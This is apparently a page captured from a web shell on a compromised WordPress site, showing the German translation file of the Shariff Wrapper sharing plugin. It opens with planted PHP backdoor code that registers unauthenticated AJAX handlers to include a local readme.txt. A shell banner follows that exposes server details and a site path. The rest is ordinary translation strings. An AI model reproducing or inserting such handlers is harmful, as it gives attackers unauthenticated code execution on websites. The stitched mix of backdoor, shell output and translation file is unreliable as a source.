if(!function_exists('file_check_readme30367')){ add_action('wp_ajax_nopriv_file_check_readme30367', 'file_check_readme30367'); add_action('wp_ajax_file_check_readme30367', 'file_check_readme30367'); function file_check_readme30367() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme64756')){ add_action('wp_ajax_nopriv_file_check_readme64756', 'file_check_readme64756'); add_action('wp_ajax_file_check_readme64756', 'file_check_readme64756'); function file_check_readme64756() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } HEX
HEX
Server: Apache
System: Linux dx292 6.1.0-39-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.148-1 (2025-08-26) x86_64
User: www-data (33)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /data/www/welovefamily.at/welovefamily.at/htdocs/wp-content/languages/plugins/shariff-de_DE.po
# Translation of Plugins - Shariff Wrapper - Stable (latest release) in German
# This file is distributed under the same license as the Plugins - Shariff Wrapper - Stable (latest release) package.
msgid ""
msgstr ""
"PO-Revision-Date: 2025-02-20 15:35:14+0000\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=2; plural=n != 1;\n"
"X-Generator: GlotPress/4.0.1\n"
"Language: de\n"
"Project-Id-Version: Plugins - Shariff Wrapper - Stable (latest release)\n"

#: admin/admin-menu.php:1866
msgid "Sets the Bluesky via tag."
msgstr "Bestimmt das Bluesky-via-Tag."

#: admin/admin-menu.php:318
msgid "Bluesky username for the via tag:"
msgstr "Bluesky-Benutzername für das via-Tag:"

#: admin/admin-menu.php:1874
msgid "Sets the Mastodon via tag."
msgstr "Bestimmt den Mastodon-via-Tag."

#: admin/admin-menu.php:327
msgid "Mastodon username for the via tag:"
msgstr "Mastodon-Benutzername für das via-Attribut:"

#: admin/admin-menu.php:2042
msgid "Facebook shut down the possibility to request share counts without an APP ID and Secret. Therefore, you need to create a Facebook APP ID and Secret and enter it in the settings on the Statistic tab. Google will provide you with many tutorials. Simple search for “facebook app id secret” and you will find one in your language."
msgstr "Facebook hat die Möglichkeit abgeschaltet Share-Counts ohne Registrierung, d.h. ohne App-ID und App-Geheimcode, abzufragen. Daher ist es nun zwingend erforderlich, sich eine App-ID und einen App-Geheimcode zu erstellen und diese in den Shariff-Einstellungen auf dem Reiter \"Statistik\" einzutragen. Über Google lassen sich diverse Tutorials finden die erklären, wie dies funktioniert. Eine Suche nach \"facebook app id secret\" sollte schnell eine geeignete Anleitung in der eigenen Sprache zu Tage fördern."

#: admin/admin-menu.php:390
msgid "Hide WhatsApp on desktop devices."
msgstr "Verstecke WhatsApp auf Desktop-Geräten."

#: shariff.php:62
msgid ""
"<h2>Social Media Plugin \"Shariff Wrapper\"</h2>\n"
"\n"
"On our website we offer you the possibility to use so called \"Social Media Buttons\". To protect your data, we use a solution called \"Shariff\". Hereby the share buttons are implemented as static images, which contain a link to the corresponding social network site. If you click on such a button, you will be redirected to the respective social network site in the same way, as normal links would do as well. Only in that moment of time the provider of the social network site will get information about you, for example your IP address. If you do not click on such a share button, no data will be transmitted. Information about the collection and usage of your date on the social network sites can be found in the corresponding terms of use of the respective provider. More information about the plugin and the Shariff solution can be found here: <a href=\"https://wordpress.org/plugins/shariff/\">https://wordpress.org/plugins/shariff/</a>\n"
"\n"
"On our website we offer share buttons for the following services / companies: Bluesky, Diaspora, Facebook, Flattr, Flipboard, LinkedIn, Mastodon, Mix, Odnoklassniki, Patreon, PayPal, Pinterest, Pocket, Qzone, Reddit, Telegram, TencentWeibo, Threema, Tumblr, Twitter, VK, Wallabag, Weibo, WhatsApp, Xing."
msgstr ""
"<h2>Social-Media-Plugin „Shariff Wrapper“</h2>\n"
"\n"
"Wir bieten Ihnen auf unserer Website die Möglichkeit zur Nutzung von sogenannten „Social-Media-Buttons“ an. Zum Schutz Ihrer Daten setzen wir bei der Implementierung auf die Lösung „Shariff“. Hierdurch werden diese Buttons auf unserer Seite lediglich als statische Grafik eingebunden, die eine Verlinkung auf die entsprechende Website des Anbieters enthält. Durch das Anklicken der Grafik werden Sie somit zu der Website des jeweiligen Anbieters weitergeleitet, genauso wie es auch bei normalen Links funktioniert. Erst beim Aufruf der Website des Anbieters erhält dieser Informationen über Sie, wie zum Beispiel Ihre IP-Adresse. Sofern Sie die Button-Grafiken nicht anklicken, findet keinerlei Datenaustausch statt. Informationen über die Erhebung und Verwendung Ihrer Daten in den sozialen Netzwerken finden Sie in den jeweiligen Nutzungsbedingungen der entsprechenden Anbieter. Mehr Informationen über das Plugin und zur Shariff-Lösung finden Sie hier: <a href=\"https://de.wordpress.org/plugins/shariff/\">https://de.wordpress.org/plugins/shariff/</a>\n"
"\n"
"Wir bieten auf unserer Website Buttons für die folgenden Dienste / Unternehmen an: Bluesky, Diaspora, Facebook, Flattr, Flipboard, LinkedIn, Mastodon, Mix, Odnoklassniki, Patreon, PayPal, Pinterest, Pocket, Qzone, Reddit, Telegram, TencentWeibo, Threema, Tumblr, Twitter, VK, Wallabag, Weibo, WhatsApp, Xing."

#: admin/admin-menu.php:2412
msgid "Product"
msgstr "Produkt"

#: admin/admin-menu.php:1230
msgid "Same rules as for the default headline. Leave empty to keep the same headline in all cases."
msgstr "Die gleichen Regeln wie für die Standardüberschrift. Leer lassen, um überall die gleiche Überschrift beizubehalten."

#: admin/admin-menu.php:1228
msgid "Be the first one to share this post!"
msgstr "Sei der Erste, der diesen Beitrag teilt!"

#: admin/admin-menu.php:993
msgid "Use the pipe sign | (Alt Gr + &lt; or &#8997; + 7) between two or more hooks."
msgstr "Verwende das Pipe-Zeichen | (Alt Gr + &lt; oder &#8997; + 7) als Trennzeichen zwischen den Hooks."

#: admin/admin-menu.php:992
msgid "some_custom_wordpress_hook|some_other_custom_wordpress_hook"
msgstr "irgendein_benutzerdefinierter_WordPress_Hook|irgendein_anderer_benutzerdefinierter_WordPress_Hook"

#: admin/admin-menu.php:233
msgid "Alternative headline, if share counts are zero:"
msgstr "Alternative Überschrift, wenn die Anzahl der Teilungen null ist:"

#: admin/admin-menu.php:134
msgid "Automatically set button language based on locale (e.g. set by WPML)."
msgstr "Automatische Einstellung der Button-Sprache basierend auf dem Gebietsschema (z.&nbsp;B. durch WPML festgelegt)."

#: admin/admin-menu.php:125
msgid "Default button language:"
msgstr "Standard-Button-Sprache:"

#: admin/admin-menu.php:112
msgid "Use the following shortcode for the custom hooks:"
msgstr "Verwende den folgenden Shortcode für die Hooks:"

#: admin/admin-menu.php:109
msgid "Add Shariff to the following custom WordPress hooks:"
msgstr "Die Shariff-Buttons zu den folgenden WordPress-Hooks hinzufügen:"

#: admin/admin-menu.php:1851
msgid "Adds a custom class to the container around Shariff."
msgstr "Fügt eine individuelle Klasse zum Container um Shariff hinzu."

#: admin/admin-menu.php:1843
msgid "Adds custom style attributes to the container around Shariff."
msgstr "Fügt individuelle Style-Attribute zum Container um Shariff hinzu."

#. Plugin URI of the plugin
#: shariff.php
msgid "https://wordpress.org/plugins-wp/shariff/"
msgstr "https://de.wordpress.org/plugins-wp/shariff/"

#: shariff.php:211
msgid "Timestamp of the last update of the post. Used for dynamic cache lifespan."
msgstr "Der Zeitstempel der letzten Beitragsaktualisierung. Dieser wird für die dynamische Cache-Lebensdauer verwendet."

#: shariff.php:207
msgid "A list of services separated by |. Example: mastodon|facebook|linkedin"
msgstr "Eine Liste mit Dienste durch | getrennt. Beispiel: mastodon|facebook|xing"

#: shariff.php:202
msgid "URL of the post or page to request share counts for."
msgstr "URL des Beitrags oder der Seite, für die Share-Counts abgefragt werden sollen."

#: includes/class-shariff-widget.php:57 includes/class-shariff-widget.php:61
msgid "(optional)"
msgstr "(optional)"

#. Translators: %s will be replaced with the correct URL to the local Shariff
#. Settings page and tab.
#: admin/admin-notices.php:43
msgid "Please check your <a href=\"%s\">Shariff Settings</a>!"
msgstr "Bitte überprüfe deine <a href=\"%s\">Shariff-Einstellungen</a>!"

#: admin/admin-metabox.php:77
msgid "Add buttons after this content."
msgstr "Buttons nach dem Inhalt einfügen."

#: admin/admin-menu.php:2297
msgid "Page"
msgstr "Seite"

#: admin/admin-menu.php:1930
msgid "Sets a custom text for the info button."
msgstr "Legt einen individuelle Text für den Alt-Text des Info-Buttons fest."

#: admin/admin-menu.php:1929
msgid "My custom text."
msgstr "Mein eigener Text."

#. Translators: %s will be replaced with the correct URL to the wordpress.org
#. review page.
#: admin/admin-menu.php:1717
msgid "If you enjoy our plugin, please consider writing a review about it on <a href=\"%s\" target=\"_blank\">wordpress.org</a>."
msgstr "Wenn dir unser Plugin gefällt, würden wir uns über eine Bewertung auf <a href=\"%s\" target=\"_blank\">wordpress.org</a> freuen."

#. Translators: %1$s and %2$s will be replaced with the correct URLs to FAQ and
#. the forum on wordpress.org.
#: admin/admin-menu.php:1700
msgid "If you need any help with the plugin, take a look at the <a href=\"%1$s\" target=\"_blank\">Frequently Asked Questions (FAQ)</a> and the <a href=\"%2$s\" target=\"_blank\">Support Forum</a> on wordpress.org. "
msgstr "Bei Problemen, Fragen und Anregungen wirf einen Blick in die <a href=\"%1$s\" target=\"_blank\">Frequently Asked Questions (FAQ)</a> und das <a href=\"%2$s\" target=\"_blank\">Support-Forum</a>."

#. Translators: %s will be replaced with the correct URL to the German computer
#. magazine.
#: admin/admin-menu.php:1686
msgid "It is based on the original Shariff buttons developed by the German computer magazine <a href=\"%s\" target=\"_blank\">c't</a> that are compliant to the General Data Protection Regulation (GDPR) (Regulation (EU) 2016/679)."
msgstr "Es basiert auf den original Shariff-Buttons, die vom Computermagazin <a href=\"%s\" target=\"_blank\">c't</a> entwickelt wurden, die den strengen Regeln der europäischen Datenschutzgrundverordnung (DSGVO) folgen (Verordnung (EU) 2016/679)."

#: admin/admin-menu.php:1671
msgid "The WordPress plugin \"Shariff Wrapper\" has been developed by Jan-Peter Lambeck and <a href=\"%2$s\" target=\"_blank\">3UU</a> in order to help protect the privacy of your visitors. "
msgstr "Das WordPress-Plugin „Shariff Wrapper“ wurde von Jan-Peter Lambeck und <a href=\"%2$s\" target=\"_blank\">3UU</a> entwickelt, um die Privatsphäre von Webseitenbesuchern zu schützen. "

#: admin/admin-menu.php:1484
msgid "You entered an external API and chose to call it directly! Therefore, all options and features (e.g. the ranking tab) regarding the statistic have no effect. You need to configure them on the external server. Remember: This feature is still experimental!"
msgstr "Es wurde eine externe API angegeben und ausgewählt, diese direkt abzurufen! Daher haben viele Optionen und Funktionen (z.B. der Ranglisten-Tab) auf dieser Seite keinen Effekt. Diese müssen auf dem externen Server eingestellt werden. Zur Erinnerung: Diese Funktion ist noch experimentell!"

#: admin/admin-menu.php:1482
msgid "Warning: "
msgstr "Warnung: "

#: admin/admin-menu.php:1326 admin/admin-menu.php:1928
msgid "More information about these buttons."
msgstr "Weitere Informationen zu diesen Buttons."

#: admin/admin-menu.php:1286
msgid "This configures the advanced options of Shariff regarding specific services. "
msgstr "Dies konfiguriert die erweiterten Optionen von Shariff in Bezug auf bestimmte Dienste. "

#. Translators: %s will be replaced with the correct URL to the wordpress.org
#. support forum.
#: admin/admin-menu.php:1021 admin/admin-menu.php:1293
msgid "You should also check out the <a href=\"%s\" target=\"_blank\">Support Forum</a>. "
msgstr "Du kannst auch das <a href=\"%s\" target=\"_blank\">Support-Forum</a> aufsuchen."

#. Translators: %s will be replaced with the correct URL to the help section.
#: admin/admin-menu.php:1017 admin/admin-menu.php:1289
msgid "For more information please take a look at the <a href=\"%s\">Help Section</a>. "
msgstr " Weitere Informationen findest du im <a href=\"%s\">Hilfeabschnitt</a>. "

#: admin/admin-menu.php:1014
msgid "This configures the default design of the Shariff buttons. Most options can be overwritten for single posts or pages with the options within the [shariff] shorttag. "
msgstr "Im Folgenden wird das Standarddesign der Shariff-Buttons festgelegt. Die meisten Einstellungen können in einzelnen Beiträgen und auf Seiten mit dem Shorttag [shariff] überschrieben werden."

#: admin/admin-menu.php:408
msgid "Disable the metabox."
msgstr "Deaktiviere die Metabox."

#: admin/admin-menu.php:300
msgid "Custom text for the info button:"
msgstr "Individueller Alt-Text für den Info-Button."

#: admin/admin-metabox.php:101
msgid "Do not affect buttons in widgets."
msgstr "Keine Buttons in Widgets beeinflussen."

#: admin/admin-metabox.php:95
msgid "Ignore Widgets"
msgstr "Widgets ignorieren"

#: admin/admin-metabox.php:89
msgid "The settings in this shortcode field overwrite ALL global settings."
msgstr "Die Einstellungen in diesem Shortcode-Feld überschreiben ALLE globalen Einstellungen."

#: admin/admin-metabox.php:89
msgid "Shortcode"
msgstr "Shortcode"

#: admin/admin-metabox.php:83
msgid "The complete url to your desired custom image for Pinterest."
msgstr "Die vollständige URL zum gewünschten individuellen Pinterest-Bild."

#: admin/admin-metabox.php:83
msgid "Pinterest Image"
msgstr "Pinterest-Bild"

#: admin/admin-metabox.php:70
msgid "Add buttons before this content."
msgstr "Buttons vor diesem Inhalt einfügen."

#: admin/admin-metabox.php:63
msgid "Add Shariff"
msgstr "Shariff hinzufügen"

#: admin/admin-metabox.php:57
msgid "Disable Shariff for this content."
msgstr "Shariff für diesen Inhalt deaktivieren."

#: admin/admin-metabox.php:51
msgid "Disable Shariff"
msgstr "Shariff deaktivieren"

#: admin/admin-menu.php:1954
msgid "Provides the time the current post or page was last modified as a timestamp. Used for determining the dynamic cache lifespan. Only for special use cases."
msgstr "Stelle den Zeitpunkt, an dem der aktuelle Beitrag oder die Seite zuletzt geändert wurde, als Zeitstempel (timestamp) zur Verfügung. Dieser wird für die dynamische Cache-Lebensdauer verwendet. Nur für spezielle Umstände."

#: admin/admin-menu.php:1952
msgid "The timestamp of the last modification of the current post or page."
msgstr "Zeitstempel (timestamp) der letzten Änderung des aktuellen Beitrags oder Seite."

#: admin/admin-menu.php:1771
msgid "Determines the button size regardless of theme choice."
msgstr "Legt die Buttongröße unabhängig vom gewählten Theme fest."

#: admin/admin-menu.php:1111
msgid "large"
msgstr "groß"

#: admin/admin-menu.php:1110
msgid "medium"
msgstr "mittel"

#: admin/admin-menu.php:1109
msgid "small"
msgstr "klein"

#: admin/admin-menu.php:502
msgid "Disable the dynamic cache lifespan (not recommended)."
msgstr "Die dynamische Cache-Lebensdauer deaktivieren (nicht empfohlen)."

#: admin/admin-menu.php:448
msgid "Hide share counts when they are zero."
msgstr "Zähler (Share-Counts) verstecken, wenn sie null sind."

#: admin/admin-menu.php:269
msgid "Open links in a popup (requires JavaScript)."
msgstr "Links in einem Popup öffnen (erfordert JavaScript)."

#: admin/admin-menu.php:251
msgid "Custom CSS <u>class</u> for the container <u>around</u> Shariff:"
msgstr "Individuelle CSS-<u>Klasse</u> für den Container <u>um</u> Shariff:"

#: admin/admin-menu.php:242
msgid "Custom CSS <u>attributes</u> for the container <u>around</u> Shariff:"
msgstr "Individuelle CSS-<u>Attribute</u> für den Container <u>um</u> Shariff:"

#: admin/admin-menu.php:152
msgid "Button size:"
msgstr "Button-Größe:"

#. Translators: %s will be replaced with a service name e.g. Twitter.
#: admin/admin-notices.php:46
msgid "%s has been selected as a service, but no username, ID or address has been provided! Please enter the required information on the advanced tab!"
msgstr "%s wurde als Dienst ausgewählt. Es wurde jedoch keine ID, Adresse oder Benutzername angegeben. Bitte ergänze die notwendigen Angaben unter dem Tab „Erweitert“."

#: admin/admin-metabox.php:30
msgid "Shariff Settings"
msgstr "Shariff-Einstellungen"

#: admin/admin-menu.php:102
msgid "Disable the Shariff buttons outside of the main loop."
msgstr "Shariff-Buttons außerhalb der Hauptschleife deaktivieren."

#: shariff.php:550
msgid "Once weekly"
msgstr "Einmal wöchentlich"

#: admin/admin-menu.php:1803
msgid "Sets a custom secondary color for all buttons (hexadecimal). The secondary color is, depending on theme, used for hover effects."
msgstr "Legt die individuelle Sekundärfarbe für alle Buttons fest (hexadezimal). Die Sekundärfarbe wird, je nach Theme, für Hover-Effekte verwendet."

#: admin/admin-menu.php:1795
msgid "Sets a custom main color for all buttons (hexadecimal)."
msgstr "Legt die individuelle Hauptfarbe für alle Buttons fest (hexadezimal)."

#: admin/admin-menu.php:1787
msgid "Sets the border radius for the round theme. 1 essentially equals a square."
msgstr "Legt den Radius (border-radius) für das runde Theme fest. 1 entspricht einem Quadrat."

#: admin/admin-menu.php:484
msgid "Number of posts on ranking tab:"
msgstr "Anzahl an Beiträgen auf dem Ranglisten-Reiter:"

#: admin/admin-menu.php:475
msgid "Fill cache automatically."
msgstr "Den Cache automatisch befüllen."

#: admin/admin-menu.php:260
msgid "Hide buttons until page is fully loaded."
msgstr "Buttons verstecken, bis die Seite vollständig geladen wurde."

#: admin/admin-menu.php:188
msgid "Custom secondary color for <b>all</b> buttons (hexadecimal):"
msgstr "Individuelle Sekundärfarbe für <b>alle</b> Buttons (hexadezimal):"

#: admin/admin-menu.php:179
msgid "Custom main color for <b>all</b> buttons (hexadecimal):"
msgstr "Individuelle Hauptfarbe für <b>alle</b> Buttons (hexadezimal):"

#: admin/admin-menu.php:170
msgid "Border radius for the round theme (1-50):"
msgstr "Individueller Radius (border-radius) für das runde Theme (1-50):"

#: admin/admin-menu.php:538
msgid "Local API not reachable in root."
msgstr "Lokale API nicht über das Stammverzeichnis erreichbar."

#. Author of the plugin
#: shariff.php
msgid "Jan-Peter Lambeck & 3UU"
msgstr "Jan-Peter Lambeck & 3UU"

#. Description of the plugin
#: shariff.php
msgid "Shariff provides share buttons that respect the privacy of your visitors and follow the General Data Protection Regulation (GDPR)."
msgstr "Shariff stellt Teilen-Buttons bereit, die die Privatsphäre der Besucher schützen und im Einklang mit der Datenschutzgrundverordnung (DSGVO) stehen."

#. Author URI of the plugin
#: shariff.php
msgid "https://wordpress.org/plugins/shariff/"
msgstr "https://wordpress.org/plugins/shariff/ "

#. Plugin Name of the plugin
#: shariff.php
msgid "Shariff Wrapper"
msgstr "Shariff Wrapper"

#: includes/class-shariff-widget.php:55
msgid "Title"
msgstr "Titel"

#: includes/class-shariff-widget.php:30
msgid "Add Shariff as configured on the plugin options page."
msgstr "Fügt die Shariff-Buttons mit den Einstellungen aus dem Plugin-Menü ein."

#: shariff.php:1540
msgid "Address for Bitcoin is missing!"
msgstr "Adresse für Bitcoin fehlt!"

#: shariff.php:1536
msgid "PayPal.Me ID is missing!"
msgstr "PayPal.Me ID fehlt!"

#: shariff.php:1532
msgid "Button ID for PayPal is missing!"
msgstr "Button-ID für PayPal fehlt!"

#: shariff.php:1528
msgid "Username for patreon is missing!"
msgstr "Benutzername für Patreon fehlt!"

#: shariff.php:174
msgid "Support Forum"
msgstr "Support-Forum"

#: shariff.php:174
msgid "Settings"
msgstr "Einstellungen"

#: admin/admin-menu.php:2504
msgid "Help"
msgstr "Hilfe"

#: admin/admin-menu.php:2492
msgid "Advanced"
msgstr "Erweitert"

#: admin/admin-menu.php:2486
msgid "Design"
msgstr "Design"

#: admin/admin-menu.php:2480
msgid "Basic"
msgstr "Basis"

#: admin/admin-menu.php:2189 admin/admin-menu.php:2303
#: admin/admin-menu.php:2418
msgid "Total"
msgstr "Gesamt"

#: admin/admin-menu.php:2185 admin/admin-menu.php:2299
#: admin/admin-menu.php:2414
msgid "Time"
msgstr "Zeit"

#: admin/admin-menu.php:2184 admin/admin-menu.php:2298
#: admin/admin-menu.php:2413
msgid "Date"
msgstr "Datum"

#: admin/admin-menu.php:2183
msgid "Post"
msgstr "Beitrag"

#: admin/admin-menu.php:2182 admin/admin-menu.php:2296
#: admin/admin-menu.php:2411
msgid "Rank"
msgstr "Rang"

#: admin/admin-menu.php:2174 admin/admin-menu.php:2288
#: admin/admin-menu.php:2402
msgid "The statistic option has been disabled on the statistic tab. Share counts will not get updated!"
msgstr "Die Statistik-Option wurde unter dem Statistik-Tab deaktiviert. Die Zählerstände werden nicht aktualisiert!"

#: admin/admin-menu.php:2172 admin/admin-menu.php:2286
#: admin/admin-menu.php:2400
msgid "Warning:"
msgstr "Warnung:"

#: admin/admin-menu.php:2165
msgid "The following tables shows the ranking of your last 100 posts, pages and, if applicable, products in descending order by total share counts. To prevent slow loading times only cached data is being used. Therefore, you may see blank entries for posts that have not been visited by anyone since the last update or activation of Shariff Wrapper. You can simply visit the respective post yourself in order to have the share counts fetched."
msgstr "Die nachfolgende Tabelle zeigt die Rangliste der letzten 100 Beiträge, Seiten und, falls verfügbar, Produkte. Die Einträge sind absteigend nach der Gesamtanzahl an Teilungen sortiert. Um lange Ladezeiten zu vermeiden werden nur im Cache gespeicherte Daten verwendet. Daher können Angaben fehlen, wenn niemand seit der letzten Aktualisierung oder der letzten Aktivierung des Shariff Wrappers den betreffenden Beitrag besucht hat. Es reicht in diesem Fall aus, selbst den jeweiligen Beitrag aufzurufen, um die Abfrage der Zählerstände anzustoßen."

#: admin/admin-menu.php:2080
msgid "The GD Library is not installed on this server. This is only needed for the QR codes, if your are using the bitcoin button."
msgstr "Die GD-Library ist auf diesem Server nicht installiert. Diese wird nur für die QR-Codes benötigt, wenn der Bitcoin-Button verwendet wird."

#: admin/admin-menu.php:2066
msgid "GD Library:"
msgstr "GD-Library:"

#: admin/admin-menu.php:2049
msgid "Service didn't respond in less than five seconds."
msgstr "Dienst hat nicht innerhalb von fünf Sekunden geantwortet."

#: admin/admin-menu.php:2045
msgid "Share Count:"
msgstr "Share Count:"

#: admin/admin-menu.php:2023
msgid "One or more services didn't respond in less than five seconds."
msgstr "Einer oder mehrere Dienste haben nicht innerhalb von fünf Sekunden geantwortet."

#: admin/admin-menu.php:2022 admin/admin-menu.php:2047
msgid "Timeout"
msgstr "Zeitüberschreitung"

#: admin/admin-menu.php:2020
msgid "One or more services reported an error."
msgstr "Einer oder mehrere Dienste erzeugten eine Fehlermeldung."

#: admin/admin-menu.php:2019 admin/admin-menu.php:2052
#: admin/admin-menu.php:2079
msgid "Error"
msgstr "Fehler"

#: admin/admin-menu.php:2017
msgid "No error messages."
msgstr "Keine Fehlermeldungen."

#: admin/admin-menu.php:2016 admin/admin-menu.php:2044
#: admin/admin-menu.php:2072
msgid "OK"
msgstr "OK"

#: admin/admin-menu.php:1986 admin/admin-menu.php:2040
msgid "Disabled"
msgstr "Deaktiviert"

#: admin/admin-menu.php:1980
msgid "Statistic:"
msgstr "Statistik:"

#: admin/admin-menu.php:1962
msgid "Changes the RSS feed url to another feed."
msgstr "Ändert die Feed-URL für den RSS-Button."

#: admin/admin-menu.php:1946
msgid "Changes the title to share. Only for special use cases."
msgstr "Legt den Titel zum Teilen fest. Nur für spezielle Umstände."

#: admin/admin-menu.php:1945
msgid "My Post Title"
msgstr "Mein Beitragstitel"

#: admin/admin-menu.php:1944
msgid "The title of the current post or page."
msgstr "Der Titel des aktuellen Beitrags oder der Seite."

#: admin/admin-menu.php:1938
msgid "Changes the url to share. Only for special use cases."
msgstr "Legt die URL zum Teilen fest. Nur für spezielle Umstände."

#: admin/admin-menu.php:1936
msgid "The url of the current post or page."
msgstr "Die URL des aktuellen Beitrags oder der Seite."

#: admin/admin-menu.php:1922
msgid "Sets a custom link for the info button."
msgstr "Legt einen individuellen Link für den Info-Button fest."

#: admin/admin-menu.php:1914
msgid "Determines the default image to share for Pinterest, if no other usable image is found."
msgstr "Legt das Standardbild zum Teilen für Pinterest fest, wenn kein anderes Bild gefunden wird."

#: admin/admin-menu.php:1912
msgid "The post featured image or the first image of the post."
msgstr "Das Beitragsbild oder das erste Bild des Beitrags."

#: admin/admin-menu.php:1906
msgid "Sets the bitcoin address."
msgstr "Legt die Bitcoin-Adresse fest."

#: admin/admin-menu.php:1898
msgid "Sets the PayPal.Me ID. Default amount can be added with a / e.g. name/25."
msgstr "Legt die PayPal.Me ID fest. Standard Betrag kann mit einem / angehängt werden. Zum Beispiel: Name/25."

#: admin/admin-menu.php:1890
msgid "Sets the PayPal hosted button ID."
msgstr "Legt die PayPal Hosted-Button-ID fest."

#: admin/admin-menu.php:1882
msgid "Sets the Patreon username."
msgstr "Legt den Patreon-Benutzernamen fest."

#: admin/admin-menu.php:1859
msgid "Sets the Twitter via tag."
msgstr "Bestimmt den Twitter-via-Tag."

#: admin/admin-menu.php:1835
msgid "Adds a headline above the Shariff buttons. Basic HTML as well as style and class attributes can be used. To remove a headline set on the plugins options page use headline=\"\"."
msgstr "Fügt eine Überschrift zu den Shariff-Buttons hinzu. Basis-HTML sowie style- und class-Attribute dürfen verwendet werden. Um eine Überschrift, die in den Plugin-Einstellungen gesetzt wurde, bei einzelnen Widgets zu entfernen, kann headline=\"\" verwendet werden"

#: admin/admin-menu.php:1834
msgid "Please share this post"
msgstr "Bitte teile diesen Beitrag"

#: admin/admin-menu.php:1827
msgid "Changes the language of the share buttons."
msgstr "Stellt die Sprache der Shariff-Buttons ein."

#: admin/admin-menu.php:1825
msgid "Automatically selected by browser."
msgstr "Automatisch durch den Browser bestimmt."

#: admin/admin-menu.php:1819
msgid "Changes the horizontal alignment of the buttons. flex-start means left, center is obvious and flex-end means right."
msgstr "Verändert die horizontale Ausrichtung der Buttons. flex-start bedeutet linksbündig, center ist selbsterklärend und flex-end bedeutet rechtsbündig."

#: admin/admin-menu.php:1811
msgid "Changes the orientation of the buttons."
msgstr "Verändert die Anordnung der Shariff-Buttons."

#: admin/admin-menu.php:1763
msgid "Determines the main design of the buttons."
msgstr "Legt das Hauptdesign der Shariff-Buttons fest."

#: admin/admin-menu.php:1755
msgid "Enables share counts on the buttons."
msgstr "Aktiviert die Statistik (Share-Counts) in den Shariff-Buttons."

#: admin/admin-menu.php:1747
msgid "Determines which buttons to show and in which order."
msgstr "Legt fest, welche Buttons benutzt werden sollen und in welcher Reihenfolge."

#: admin/admin-menu.php:1739
msgid "Description"
msgstr "Beschreibung"

#: admin/admin-menu.php:1738
msgid "Example"
msgstr "Beispiel"

#: admin/admin-menu.php:1737
msgid "Default"
msgstr "Standard"

#: admin/admin-menu.php:1736
msgid "Options"
msgstr "Optionen"

#: admin/admin-menu.php:1735
msgid "Name"
msgstr "Name"

#: admin/admin-menu.php:1729
msgid "This is a list of all available options for the <code>[shariff]</code> shortcode:"
msgstr "Dies ist eine Liste mit allen verfügbaren Optionen für den <code>[shariff]</code> Shortcode:"

#: admin/admin-menu.php:1650
msgid "Please check, if you have correctly set the Access-Control-Allow-Origin header!"
msgstr "Bitte überprüfe, ob der Access-Control-Allow-Origin-Header korrekt gesetzt wurde!"

#: admin/admin-menu.php:1638
msgid "Please check, if you have to add this domain to the array $SHARIFF_FRONTENDS on the external server."
msgstr "Bitte überprüfe, ob diese Domain zum Array $SHARIFF_FRONTENDS auf dem externen Server hinzugefügt werden muss."

#: admin/admin-menu.php:1630
msgid "Warning: This is an experimental feature. Please read the <a href=\"https://wordpress.org/plugins/shariff/faq/\" target=\"_blank\">Frequently Asked Questions (FAQ)</a>."
msgstr "Warnung: Dies ist eine experimentelle Funktion. Bitte lies die <a href=\"https://de.wordpress.org/plugins/shariff/#faq\" target=\"_blank\">Häufig gestellten Fragen (FAQ)</a>."

#: admin/admin-menu.php:1517
msgid "Warning: The statistic functionality must be enabled in order for the share counts to be shown."
msgstr "Warnung: Die Statistik-Funktionalität muss aktiviert sein, damit die Zählerstände angezeigt werden können."

#: admin/admin-menu.php:1496
msgid "WordPress-Version 4.4 or better is required to enable the statistic / share count functionality."
msgstr "WordPress-Version 4.4 oder neuer wird benötigt, um die Statistik- / Zähler-Funktionalität zu aktivieren."

#: admin/admin-menu.php:1478
msgid "This determines how share counts are handled by Shariff."
msgstr "Diese Einstellungen bestimmen, wie Shariff mit den sogenannten „Share-Counts“ umgeht."

#: admin/admin-menu.php:1458
msgid "Warning: DO NOT change this unless you know what you are doing or have been told so by the plugin author!"
msgstr "Warnung: NICHT verändern, außer die Konsequenzen sind bekannt oder ein Plugin-Autor hat dazu aufgefordert!"

#: admin/admin-menu.php:36 admin/admin-menu.php:1434 admin/admin-metabox.php:41
#: admin/admin-metabox.php:84
msgid "Choose image"
msgstr "Bild wählen"

#: admin/admin-menu.php:1398
msgid "name"
msgstr "Name"

#: admin/admin-menu.php:1338 admin/admin-menu.php:1350
#: admin/admin-menu.php:1362 admin/admin-menu.php:1374
msgid "username"
msgstr "Benutzername"

#: admin/admin-menu.php:1243 admin/admin-menu.php:1255
msgid "More information in the FAQ."
msgstr "Mehr Informationen in der FAQ."

#: admin/admin-menu.php:1215
msgid "Already shared %total times!"
msgstr "Bereits %total Mal geteilt!"

#: admin/admin-menu.php:1213
msgid "Example:"
msgstr "Beispiel:"

#: admin/admin-menu.php:1211
msgid "Basic HTML as well as style and class attributes are allowed. You can use %total to show the total amount of shares."
msgstr "Basis-HTML sowie style- und class-Attribute sind erlaubt. Mittels %total kann die Gesamtanzahl an Shares angezeigt werden."

#: admin/admin-menu.php:1209
msgid "Share this post"
msgstr "Teile diesen Beitrag"

#: admin/admin-menu.php:1184 admin/admin-menu.php:1197
msgid "right"
msgstr "rechts"

#: admin/admin-menu.php:1183 admin/admin-menu.php:1196
msgid "center"
msgstr "zentriert"

#: admin/admin-menu.php:1182 admin/admin-menu.php:1195
msgid "left"
msgstr "links"

#: admin/admin-menu.php:891 admin/admin-menu.php:941
msgid "Excerpts"
msgstr "Textauszüge"

#: admin/admin-menu.php:884 admin/admin-menu.php:934
msgid "Pages"
msgstr "Seiten"

